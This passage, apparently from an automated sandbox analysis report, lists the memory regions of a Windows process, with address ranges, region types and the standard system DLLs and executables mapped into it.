"\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 4582 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 4583 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 4584 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 4585 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4586 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 4587 start_va = 0x8d0000 end_va = 0x8d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 4588 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 4589 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 4590 start_va = 0x900000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 4591 start_va = 0x990000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 4592 start_va = 0x9b0000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 4593 start_va = 0xa40000 end_va = 0xa47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 4594 start_va = 0xa70000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 4595 start_va = 0xb00000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 4596 start_va = 0xb80000 end_va = 0xe4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4597 start_va = 0xe50000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 4598 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 4599 start_va = 0x10d0000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 4600 start_va = 0x1150000 end_va = 0x11b1fff monitored = 0 entry_point = 0x11608d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 4601 start_va = 0x12b0000 end_va = 0x132ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012b0000" filename = "" Region: id = 4602 start_va = 0x1350000 end_va = 0x13cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 4603 start_va = 0x13f0000 end_va = 0x14effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 4604 start_va = 0x14f0000 end_va = 0x156ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014f0000" filename = "" Region: id = 4605 start_va = 0x15a0000 end_va = 0x161ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 4606 start_va = 0x1630000 end_va = 0x16affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 4607 start_va = 0x16c0000 end_va = 0x173ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 4608 start_va = 0x1740000 end_va = 0x193ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 4609 start_va = 0x1940000 end_va = 0x19bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001940000" filename = "" Region: id = 4610 start_va = 0x1b10000 end_va = 0x1b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 4611 start_va = 0x1b90000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 4612 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 4613 start_va = 0x20e0000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 4614 start_va = 0x2160000 end_va = 0x2562fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 4615 start_va = 0x25b0000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 4616 start_va = 0x2630000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 4617 start_va = 0x26f0000 end_va = 0x276ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 4618 start_va = 0x2940000 end_va = 0x29bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 4619 start_va = 0x29c0000 end_va = 0x2abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 4620 start_va = 0x2ac0000 end_va = 0x32bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 4621 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4622 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4623 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4624 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4625 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4626 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4627 start_va = 0xff310000 end_va = 0xff371fff monitored = 0 entry_point = 0xff3208d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 4628 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4629 start_va = 0xffea0000 end_va = 0xffef2fff monitored = 0 entry_point = 0xffeb3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 4630 start_va = 0x7fef0580000 end_va = 0x7fef06a4fff monitored = 0 entry_point = 0x7fef05d1570 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 4631 start_va = 0x7fef0b30000 end_va = 0x7fef0bddfff monitored = 0 entry_point = 0x7fef0b34104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 4632 start_va = 0x7fef0be0000 end_va = 0x7fef0bfbfff monitored = 0 entry_point = 0x7fef0be1060 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 4633 start_va = 0x7fef4780000 end_va = 0x7fef4792fff monitored = 0 entry_point = 0x7fef4781d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 4634 start_va = 0x7fef4a60000 end_va = 0x7fef4a86fff monitored = 0 entry_point = 0x7fef4a611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4635 start_va = 0x7fef4a90000 end_va = 0x7fef4b62fff monitored = 0 entry_point = 0x7fef4b08b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 4636 start_va = 0x7fef7350000 end_va = 0x7fef736afff monitored = 0 entry_point = 0x7fef7351198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 4637 start_va = 0x7fef7b00000 end_va = 0x7fef7b4efff monitored = 0 entry_point = 0x7fef7b02760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 4638 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4639 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4640 start_va = 0x7fefa790000 end_va = 0x7fefa7cafff monitored = 0 entry_point = 0x7fefa794520 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 4641 start_va = 0x7fefa7d0000 end_va = 0x7fefa820fff monitored = 0 entry_point = 0x7fefa7df6c0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 4642 start_va = 0x7fefa840000 end_va = 0x7fefa847fff monitored = 0 entry_point = 0x7fefa84284c region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 4643 start_va = 0x7fefa850000 end_va = 0x7fefa859fff monitored = 0 entry_point = 0x7fefa851adc region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 4644 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4645 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4646 start_va = 0x7fefad20000 end_va = 0x7fefad2dfff monitored = 0 entry_point = 0x7fefad25500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 4647 start_va = 0x7fefadf0000 end_va = 0x7fefae66fff monitored = 0 entry_point = 0x7fefae2e7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 4648 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 4649 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 4650 start_va = 0x7fefbb30000 end_va = 0x7fefbb38fff monitored = 0 entry_point = 0x7fefbb31010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 4651 start_va = 0x7fefbb40000 end_va = 0x7fefbc6bfff monitored = 0 entry_point = 0x7fefbb494bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 4652 start_va = 0x7fefbc70000 end_va = 0x7fefbcbafff monitored = 0 entry_point = 0x7fefbc7efcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 4653 start_va = 0x7fefbcc0000 end_va = 0x7fefbcebfff monitored = 0 entry_point = 0x7fefbcc15c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4654 start_va = 0x7fefbcf0000 end_va = 0x7fefbd9bfff monitored = 0 entry_point = 0x7fefbd06acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 4655 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4656 start_va = 0x7fefbdd0000 end_va = 0x7fefbf65fff monitored = 0 entry_point = 0x7fefbdd78e4 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 4657 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4658 start_va = 0x7fefbf80000 end_va = 0x7fefc03afff monitored = 0 entry_point = 0x7fefbf86de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 4659 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 4660 start_va = 0x7fefc130000 end_va = 0x7fefc14afff monitored = 0 entry_point = 0x7fefc132068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 4661 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 4662 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 4663 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4664 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 4665 start_va = 0x7fefc630000 end_va = 0x7fefc636fff monitored = 0 entry_point = 0x7fefc63142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 4666 start_va = 0x7fefc640000 end_va = 0x7fefc694fff monitored = 0 entry_point = 0x7fefc641054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 4667 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4668 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4669 start_va = 0x7fefc8d0000 end_va = 0x7fefc93cfff monitored = 0 entry_point = 0x7fefc8d1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 4670 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 4671 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4672 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4673 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4674 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4675 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 4676 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4677 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4678 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4679 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4680 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 4681 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4682 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4683 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4684 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4685 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4686 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4687 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4688 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 4689 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 4690 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4691 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4692 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4693 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4694 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4695 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4696 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4697 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4698 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4699 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4700 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 4701 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 4702 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 4703 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 4704 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 4705 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 4706 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 4707 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4708 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4709 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4710 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 4711 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 4712 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 4713 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4714 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4715 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4716 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4717 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4718 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4719 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = 